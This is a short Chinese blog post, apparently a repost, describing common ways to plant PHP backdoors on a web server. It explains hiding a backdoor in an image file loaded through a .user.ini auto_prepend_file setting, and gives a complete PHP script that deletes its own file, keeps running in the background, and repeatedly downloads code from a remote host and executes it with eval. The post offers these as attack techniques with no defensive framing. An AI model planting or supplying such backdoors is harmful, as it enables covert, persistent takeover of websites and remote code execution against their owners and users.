标签：auto 后门 name log 方法 png eval contents 常用
1、通过php.ini或者user.ini留后门 在一个有正常php文件的目录下新建一个.user.ini 内容为auto_prepend_file=xxx.gif(png/jpg)之类 而你的xxx.gif之类就是你的后门
2、后门的代码第一行删除自身，然后驻留在后台内存里，等待外部链接
<?php
unlink($_SERVER[‘SCRIPT_FILENAME‘]);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = ‘http://xxx/xxx.txt‘;
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
标签：auto 后门 name log 方法 png eval contents 常用
原文地址：http://www.cnblogs.com/zheh/p/6142199.html
